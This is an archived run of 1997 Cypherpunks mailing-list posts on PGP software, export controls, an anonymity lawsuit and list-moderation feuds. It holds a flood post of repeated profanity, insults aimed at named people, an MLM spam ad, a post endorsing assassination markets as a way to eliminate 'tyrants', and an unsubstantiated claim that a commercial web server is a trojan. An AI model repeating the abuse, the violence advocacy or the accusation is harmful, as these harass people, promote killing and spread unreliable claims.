> In subtle ways it's a security hole if left to accumulate over time,
> since it keeps records of which keys you encrypted messages to.

> (Imagine somebody using an anonymous remailer but g-d forbid is 
> unaware of this log file, and somebody discovers that messages were 
> encrypted to such a beast...)

> I understand in certain group/corporate environs one would want 
> logging; in others, one doesn't need it or should have the option (in 
> an easily found place) to wipe it every once in a while.

This is a damn good question.  I do NOT have the "write to a log file" option slected in the misc. tab and it STILL writes a log file.  How DO we disable this?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 00:36:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Mail
Message-ID: <32F1CB6B.6D47@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone know if PGP Mail works well with Netscape?
I remember hearing about some problems, but don't recall seeing
anything indicating they were fixed.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 00:36:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cocksucker
Message-ID: <32F1CBC4.6BB3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercoc
ksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksu
ckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckershit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@rom.dos>
Date: Fri, 31 Jan 1997 02:19:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Karma
Message-ID: <32F1E3E3.7C19@rom.dos>
MIME-Version: 1.0
Content-Type: text/plain


"He who shits on the road, will meet flies upon his return."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 02:23:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <32F1E4FC.929@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 04:59:19 -0800 (PST)
To: webmaster@eff.org
Subject: Supporting JackBoots
Message-ID: <32F2018F.1EDA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Webmaster,
  I would like to know if all of the material on your website is as
suspect as that which concerns John Gilmore.
  The current jackboot censorship of what he has now declared to be
his own private cypherpunks list has marked him as a laughable
hypocrite.
  Is the EFF a joke, as well?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Farber <farber@cis.upenn.edu>
Date: Fri, 31 Jan 1997 03:29:28 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: PGPMail 4.5 Released!
Message-ID: <3.0.1.32.19970131062916.007577fc@linc.cis.upenn.edu>
MIME-Version: 1.0
Content-Type: text/plain


And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!


At 11:36 PM 1/30/97 -0800, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>PGPMail 4.5 is now available for ordering from PGP Inc.  
>
>If you have Digicash or a credit card, you can order from the home page.  (I
>would not recommend the credit card option though.  The form claims that it
>is encrypted with SSL, but the info will be sent in the clear.  Someone needs
>to have a talk with their web master...  This is not the first security
>problem with their pages.)
>
>In using the betas, I have been pretty impressed.  It works with Eudora
>seamlessly.  (Enough that I did not notice that it had installed itself
>automatically instead of having to do a seperate install as the documentation
>claimed.)  The program beats out any of the plug-ins and front-ends for
>integrating PGP and e-mail that I have seen yet.  And for $29.95 for PGP
>2.6.2 users, well worth the price...
>
>Disclaimer:
>I have no financial stake in PGP Inc, not do I have controling interest in
>the financial affairs of Mr. Zimmerman, liens on the souls of the damned,
>control of the Aluminum Bavariati, eyes as big as my stomach, or the rites to
>reproduce the descriptions of major league baseball games without permission
>of the commisioner of Gotham City.
>
>-----BEGIN PGP SIGNATURE-----
>Version: 4.5
>
>iQEVAwUBMvGgneQCP3v30CeZAQH6Twf9HiZQKt7j0SaB+bNRfrZv/zM3/K7F019Y
>BfLE/OipkeWQQQNDm4KNbz36y58lBhZdXPTuJuyPoICrR3ixNbTz1+DVi3We3ARz
>9OspLf74X9hGCw+oJxLTpG2zznBARH6rQ2Bsjh7orvrnvYLlmhjhnEkrShb2BhW6
>WuDSdmBfz7yk9iUFVzK6TAcxDv/gLH/hjS6PoTFtwoPKDp9aca4jPzr9scLUhETo
>66qPdtLF8TYwzc5+G5/m6w7PJTCf/uyba7OyJ0EYqBDKR4AzqTaL4ZPMUQ8gw1DN
>F0O/RhbaJMfRDtTQMNaMjR8tZXtO8fFrnQg9SC0jeoZ0/rhOy+0BnA==
>=0TfD
>-----END PGP SIGNATURE-----
>
>---
>|   If you're not part of the solution, You're part of the precipitate.  |
>|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 31 Jan 1997 03:45:58 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701292343.PAA16370@toad.com>
Message-ID: <3.0.1.32.19970131064629.018195c0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:10 AM 1/31/97 -0800, Bill Stewart wrote:
>On this point, the other governments are correct.
>It really _is_ tougher to maintain a nation-state when your
>former subjects can have private conversations with each other
>and with other governments' former subjects......
>And even 56 bits is a start.

You don't have to be nice to nation states you meet on the way up if you're not coming back down.

DCF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 31 Jan 1997 04:27:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: permanent e-mail adress..
Message-ID: <TCPSMTP.17.1.31.7.33.26.2780269260.1494370@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

to get a list of more than 50 permanent e-mail adress services (a la
hotmail) send a _blank_ message to <fwdlist@netdirectories.com>...

Have fun :)

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMuyaBzltEBIEF0MBAQH3kgf9EZUZnjv12RzGstwMbz0+1TnPUyPPM94e
B6xuj1GAiFnabsLsDrc7yq3US+jnkDXz6kp7fCmLgP2m1ULYza8uNLSbYMBoHGJz
SutSmhZrM3U220ZAnNiqVgMCVgma0Tj260bpnktZKWJtE5HhtNEz0VSmj4pusJ2K
jWhc1BMhzYBhekMsxnyFyDsusjrHBumDTYoHG5ehqV2wDHzPUxvv9/4HDjrEaROT
LcMA/J9JoKkDY6yLCjQ4q5/3aq58vBxbGlm7KilbjccffuyJRqWurwAaIBolLIqB
X9mh8De6ubC/E2KfHVii+eXjDgliShQRt+8Fr4EfJeOLJu4qanIZHg==
=1Ulw
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 20:26:48 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Intelligence Update (fwd)
In-Reply-To: <199701310745.XAA07140@toad.com>
Message-ID: <3.0.1.32.19970131082753.006286c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:11 PM 1/30/97 -0800, you wrote:
>>Note: According to a recently obtained DOJ surveillance training manual:
>>"The typical range for the 28 ghz devices is six miles, the typical 
>>range of the 2.4 ghz is thirty miles, and the typical range for the 
>>1.7ghz  is 44 miles."

How sure are you about the quality of your sources here?
I'd expect 1.7ghz and above equipment to require line of sight,
and even a range of six miles seems really high for a very low power
device - getting that as "typical" seems pretty unlikely.
Could all of these figures have been 6, 30, and 44 _meters_ instead? :-)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Jan 1997 08:41:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Georgia court hears testimony in anonymity case, from TNNN
Message-ID: <Pine.GSO.3.95.970131084041.23219L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 31 Jan 1997 08:33:44 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Georgia court hears testimony, future of free speech, from TNNN

The Netly News Network
http://netlynews.com/

Brick By Brick
by Declan McCullagh (declan@well.com)
January 31, 1997
   
   ATLANTA, Ga.-- A federal judge heard testimony yesterday in a landmark
   case challenging a Georgia law that forbids anonymity online.
   
        The ACLU filed the lawsuit -- the first-ever challenge to a state
   Net-censorship statute -- last September on behalf of 14 plaintiffs,
   arguing that the statute is unconstitutional. The law also
   criminalizes the "unauthorized" use of company names online. It is so
   broadly written, the ACLU claims, that America Online screen names
   could be considered illegal.
   
        Yesterday's hearing was designed to educate U.S. District Court
   Judge Marvin Shoob about the Net, in much the same way that lawyers
   educated a three-judge panel that struck down the Communications
   Decency Act in Philadelphia in June 1996. It began with a Georgia Tech
   professor who painstakingly demonstrated how the Internet works. "This
   pointing device in the middle of the screen is the cursor," he said.
   
        The lawsuit is one of many that will shape the future of free
   expression in cyberspace -- and new media. The Georgia challenge seems
   straightforward, but in truth is a key part of the ACLU's strategy to
   cement a foundation of legal precedents that will build on one
   another, brick by statutory brick, and solidify into a framework for
   free speech on the Internet.
   
        The most fierce battlefield, however, will be in state capitols
   and courtrooms like these. More than 20 states already have launched
   various offensives against the Net, but the ACLU is choosing its
   battles carefully. Depending on how Judge Shoob rules, near-perfect
   anonymous speech may, for the first time in history, be completely
   legal -- at least in one federal district. In a move that could derail
   congressional attempts to rehabilitate the CDA if the high court
   strikes it down, the ACLU assailed a New York State law banning sexual
   images that are "harmful to minors." The organization also is planning
   to sue in Virginia, Florida and California, highlighting a different
   legal point in each case.
   
        True, the decisions won't be binding on other courts -- unlike,
   say, a U.S. Supreme Court ruling -- but in such a new area of the law,
   judges will grasp at even district court precedents. "You can't
   underestimate the importance," said ACLU attorney Chris Hansen. "The
   law works through precedent. Each case builds on the one before it."
   
        Key to the strategy is the argument that states can't regulate
   speech on the Internet at all. It's a nuclear bomb of a legal theory,
   which relies on the Constitution's commerce clause and on Supreme
   Court cases that bar states from controlling "commerce that takes
   place wholly outside of the state's borders." The coalition's brief
   offers Usenet newsgroups as an example: "The posting of this message
   in California, therefore, may subject the California author to
   prosecution in Georgia under the Act."
   
        The state countered that local standards should always apply.
   Daniel Formby, Georgia's deputy attorney general, said yesterday: "You
   do not have to enter a state to violate its laws."
   
        Free-speech victories in states such as Georgia would permit
   netizens to bypass the strict controls on television and radio that
   ban the transmission of "indecent" words or images. When the Internet
   starts carrying movies and soaps, the stronger free-speech standards
   of cyberspace will extend to those broadcasts. "We gain stronger First
   Amendment rights for other media when they converge, as the Internet
   absorbs other technologies," said ACLU attorney Ann Beeson.
   
        Sitting quietly in the rear of the Atlanta courtroom throughout
   the hearing was State Rep. Don Parsons, who with the Democratic
   leadership introduced the Georgia law last spring. Parsons insists
   the ACLU's challenge is wrongheaded. Does the law ban anonymous
   speech? "Certainly not! Absolutely not!" he claimed. So what was the
   purpose behind the the law? To prevent fraud, said Parsons.
   
        But that's not what I found. The genesis of the bizarre Georgia
   law lies not in policies as much as in rank statehouse politics.
   
        I went looking for Georgia's Speaker of the House and found him
   in his office. He leaned back in his chair and chewed on a cigar. A
   72-year old Democrat, Thomas Murphy has reigned over the state House
   of Representatives for 24 years from an office studded with stuffed
   rabbits and bobcats and conveniently adjacent to the House floor.
   
        Yesterday, he declined to discuss the measure. "I can't tell you
   anything about it because I don't know anything about it or computers
   or the Internet or anything like that," he said.
   
        But he knows politics, and his enemies, especially Rep. Mitchell
   Kaye, a fellow who fancies himself the Newt Gingrich of the Georgia
   legislature. Like Gingrich, Kaye is a technocratic Republican hailing
   from bluenose Cobb County, and like pre-1994 Gingrich, he sees himself
   as waging guerrilla warfare against a corrupt and entrenched
   Democratic majority. Dem leaders are equally uncomplimentary. "None of
   us likes Mr. Kaye... No manners towards anyone. He tries to cause all
   the confusion he can," Speaker Murphy grumbled.
   
        Indeed, the whole statutory mess began shortly after Kaye created
   his own web site, www.gahouse.com, which he uses to post legislation,
   contact information and some partisan pages for his conservative
   caucus. It proved popular, drawing thousands of visitors a week -- and
   the wrath of lawmakers such as Speaker Murphy, longtime veterans of
   traditional machine politics. It was Kaye's use of the state seal on
   his site -- even with appropriate disclaimers -- that handed Democrats
   a way to muzzle him through the law the ACLU has challenged.
   
        The irony is, of course, that the Georgia Democrats never
   intended to ban all anonymous and pseudonymous discussions. They never
   believed they'd be attacked in court by a team of New York City
   lawyers. But by punishing anyone who "uses any individual name... to
   falsely identify the person" -- even without intent to deceive --
   their law censors not just Mitchell Kaye, but netizens as well.
   
       "The last thing they want is sunshine on this case," said the
   upstart Republican, who joined the suit as one of the plaintiffs.
  "They pass a lot of unconstitutional legislation around here."
   
###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 31 Jan 1997 06:37:56 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199701311303.GAA01678@infowest.com>
Message-ID: <199701310839.IAA05412@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <199701311303.GAA01678@infowest.com>, on 01/31/97 at 12:58 PM,
   "Attila T. Hun" <attila@primenet.com> said:


>    If Geiger's software works as well as his ongoing comprehension of
>    the problem 90 to 100 character long mail message lines cause, we
>    are all in trouble.

>    mail which might be forwarded, commented a few times, etc. really
>    works best with 72-74 characters maximum per line.

Well considering that we are approaching the 21st Century I think it is a
little silly that one should have to worry about the line length in an
e-mail message. Even the dos based programs from the 80's could handle
wordwraping of displayed text.

<sigh> for the benifit of those misfortunate enough to be still working on
dumb terminals I have disabled my PGP script until I have time to add a
word wrap routine to it.

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: One man's Windows are another man's walls.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 31 Jan 1997 08:49:37 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: RE: Fighting the cybercensor
Message-ID: <v02140b03af1752cf6b9e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


[big snip]
>If every time someone made a mistake they got
>punished, without the opportunity to understand the error and without the
>opportunity to make corrections, they would be a psychological wreck.

Yes, you have certainly pointed out a property of AP, insofar as teaching
is concerned.  The reality of the physical world is that some mistakes, for
example steping off a cliff, are immediately punished by a fall and
possibly death.  The 'student' may or may not learn for the experience but
other students who are witness most certainly will.

>If every time someone made mistake they got assassinated, not only would no
>one wish to do anything for fear of losing their lives, creating a
>"society" of timid sheep, there probably wouldn't be many people remaining
>to savor the triumph of being superior.

I sincerely doubt that many would use AP to right small slights, anymore
than many now kill others for the same reasons.  The world has always been
inhabited by bullies and tyrants who cared little of what harm they caused
others.  An AP system would quickly eliminate bullies and tyrants.

>
>AP is just another form of war.   You can bet that if assassinations
>increased a hundred fold as a result of your method, not only "governments"
>but some very bright people would get together to figure out a defense
>against it, for they also would be "at risk".

I think the reaction of the society as a whole to AP would depend on what
its perceived overall results were.  If assassinations of scum and tyrants
increased a hundred fold it would hardly be noticed on any political radar
screen, except the bullies and tyrants.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 31 Jan 1997 08:50:46 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <v02140b06af175d69e933@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> Its worth noting that the origin of property is theft. In the case of the
>
>    BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
>that _my_ property is the result of ME stealing, and hence what I OWN belongs
>to the community IS theft. I work, and as the result of that work something is
>created. That something is MINE to do with as I will. If I choose to sell that
>work for money, that money is mine. If I trade that money for shoes, those
>shoes are mine. THere is no theft involved.

Tell this to the Native Americans.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bigboy@gte.net (Ernie Steefan)
Date: Fri, 31 Jan 1997 06:58:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: [[[   Free Worldwide  Computer Based Business   !   ]]]
Message-ID: <Ready Aim Fire!_1/31/97 9:59:45 AM_bigboy@gte.net>
MIME-Version: 1.0
Content-Type: text/plain



If you have a PC and want to achieve real Financial Independence then you MUST
take a look at our Powerful Computer Based Business.
No matter who you are or where you live, Our Business is Universal.
We distribute software and information all over the world through E-Mail and the
Internet.
Our program called PC-SUPER-MLM is the most simple and powerful MONEY MAKING software in the world!. of course, you don't have to believe me until you see
the actual program.
You can receive a FREE copy of the PC-SUPER-MLM by going to         http://home1.gte.net/bigboy/pc

 
Have a great day !.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@Exabyte.COM>
Date: Fri, 31 Jan 1997 08:46:11 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Complying with the EAR [was: More Circumventing the ITAR]
In-Reply-To: <199701310337.UAA01985@firewall.Exabyte.COM>
Message-ID: <Pine.SUN.3.95.970131091527.15388A-100000@gedora>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, Sean Roach wrote:
> At 11:14 AM 1/29/97 -0700, Michael Paul Johnson wrote:
> >On Tue, 28 Jan 1997, Mark Rosen wrote:
> >
> >> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> >> about "unrestricted FTP sites." My program, Kremlin, is available for
> >
> >You should check the exact text yourself, but the way I read the EAR, you
> >are not "exporting" strong cryptographic software without a license (exept
> >to Canada, which needs no license) if you do things "such as"
> >(1) have the guests to your site acknowledge that the EAR restricts
> >export, (2) have the guests affirm that they can legally get the software
> >(proper citizenship or residency & location), and (3) "check the address
> >of the destination computer to see if it is in the USA" or Canada. The
> >last one, I interpret rather loosely to mean that if the guest's email
> >address domain isn't one commonly used in the USA or Canada, then I deny
> >access. We all know that not all .com addresses are North American, but
> >chances are really good that if the address ends in .ru, then the
> >destination machine is probably not in North America. This is not a
> >perfect way to prevent export, of course, but it is what the regulations
> >say, as I read them. For a pointer to the regulations and to my access
> >request form and crypto site, see http://www.sni.net/~mpj/crypto.htm
> ...
> An easy crack to that would be to request access from a hotmail, or
> similair, account.  This account would show up as being on US soil while the
> account holder would not necessarily be so.  In this way, someone with an
> account ending in your .ru would get through because h[is/er] e-mail request
> originated from inside the U.S.

If that is the only chink in the armor you see, then you aren't looking
very hard. The point of this system is not to prevent exports, but to (1) 
comply with the letter of the law by discouraging export in the specified
manner, (2) to comply with the spirit of the law by reducing the number of
exports of cryptographic software from the USA, while (3) making
publication of strong cryptographic software in North America easy and
safe from legal persecution. Without point (3), the national security of
the USA would be harmed, IMHO, by the fact that proportionally more
dishonest people (the ones the NSA and FBI are quict to draw attention to)
than honest ones (the majority of the people who want to use strong
cryptography to protect their privacy and business interests from the
dishonest folks) would use strong cryptography. 

The only reason I can think of that the U. S. Commander-in-Chief and
President of the United States of America and his staff have determined
that export of strong cryptographic software can harm "national security" 
even when such software already is available outside of the USA, is that
they are really more concerned about the numbers of people that use such
software regularly, and therefore, they want to limit the total bandwidth
of distribution capacity and ease of retrieval of such software. Export
controls can effectively do both, even if they cannot realistically
prevent export.

Think about it. It was a pain to set up the EAR-compliant site that I set
up compared to a simple site for global distribution, and few people would
go through the hassle. Many major information services and ftp sites
simply disallow strong cryptographic software rather than go through the
hassle. Because of this, it is probably true that fewer people find,
download, and use strong cryptographic software.

Until more people set up more strong cryptographic software distribution
sites and write more good, secure, robust, easy-to-use cryptographic
software such that it is about as easy to find and use it as not to, the
Feds win. Their point is proven. Fewer people use strong cryptography than
would otherwise, and some small (but, to them, significant) percentage of
those people who were discouraged from using strong cryptographic software
might have used that software in a criminal activity. Too bad about the
good guys who could have prevented computer crime or worse with the same
technology, huh?

http://www.sni.net/~mpj/crypto.htm

 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Fri, 31 Jan 1997 08:46:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Blowfish
Message-ID: <199701311646.JAA01101@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] Maytag's abysmal grammar, 
atrocious spelling and feeble responses clearly 
identify him as a product of the American 
education system.

     /\ \  / /\
    //\\ .. //\\ Timmy C[rook] Maytag
    //\((  ))/\\
    /  < `' >  \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 31 Jan 1997 10:01:47 -0800 (PST)
To: David Farber <farber@cis.upenn.edu>
Subject: Re: PGPMail 4.5 Released!
In-Reply-To: <3.0.1.32.19970131062916.007577fc@linc.cis.upenn.edu>
Message-ID: <Pine.GSO.3.95.970131095801.24947A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, David Farber wrote:

> And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!

I have not heard anything about the discount for 2.6.3 users.  There is an
upgrade price (about $25) for Viacrypt users.  None of the discount or
upgrade prices are included on their on-line form. (And sales said they
would have to "have someone call me back" this morning when I tried to
order.)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 31 Jan 1997 08:26:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Supporting JackBoots
In-Reply-To: <32F2018F.1EDA@sk.sympatico.ca>
Message-ID: <9LJe2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Webmaster,
>   I would like to know if all of the material on your website is as
> suspect as that which concerns John Gilmore.
>   The current jackboot censorship of what he has now declared to be
> his own private cypherpunks list has marked him as a laughable
> hypocrite.
>   Is the EFF a joke, as well?

Sure EFF is a joke.  It's designed to syphon time and resources from
worthwhile projects and to create fear, uncertainty, and doubt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 31 Jan 1997 08:34:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Disappearing articles?
Message-ID: <1ZJe2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


We already know that Sandy's bot automatically discards submissions from
people he doesn't like, irrespective of contents. In the past the rejected
articles were tossed to the "flames" list.  Now Sandy has gone one step 
further.  The following article criticized the product Sandy is paid to
peddle. It showed up on the 'unedited' list, but Sandy hated its contents
so much that it hasn't made it to EITHER censored or the 'flames' list!

This is the beginning of the censored article:

To: cypherpunks@toad.com
Subject: Security alert!!!
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

(rest snipped to save bandwidth)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Fri, 31 Jan 1997 10:42:04 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: Key Security Question
Message-ID: <Pine.3.89.9701311005.A14002-0100000@netcom>
MIME-Version: 1.0
Content-Type: text/plain


My computer went into the shop a few days ago, and I was unable to take 
my PGP keys off it before it went in.  What are the security risks here?  
If the repairman chooses to snoop through the files, what would he be 
able to do with my key pair?  Will I need to revoke the key and make a 
new one, or will I be relatively safe since he doesn't have my 
passphrase?  



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 31 Jan 1997 10:55:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Constitutional Right to Annoy?
Message-ID: <v03010d03af17f0257960@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain


Today's New York Times web page's Cybertimes section has an article
on a new lawsuit that claims a constitutional right to annoy. Among
other things, annoy.com will provide a way to "send anonymous e-mail
messages to public figures."

They're suing the CDA.

http://www.nytimes.com/library/cyber/week/013197annoy.html

(Assuming I retyped it correctly.)

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Jan 1997 02:00:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: misc. security url
Message-ID: <199701310959.KAA03668@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


forwarded message...
 In> Subject:      Computer Crime and Investigations Center

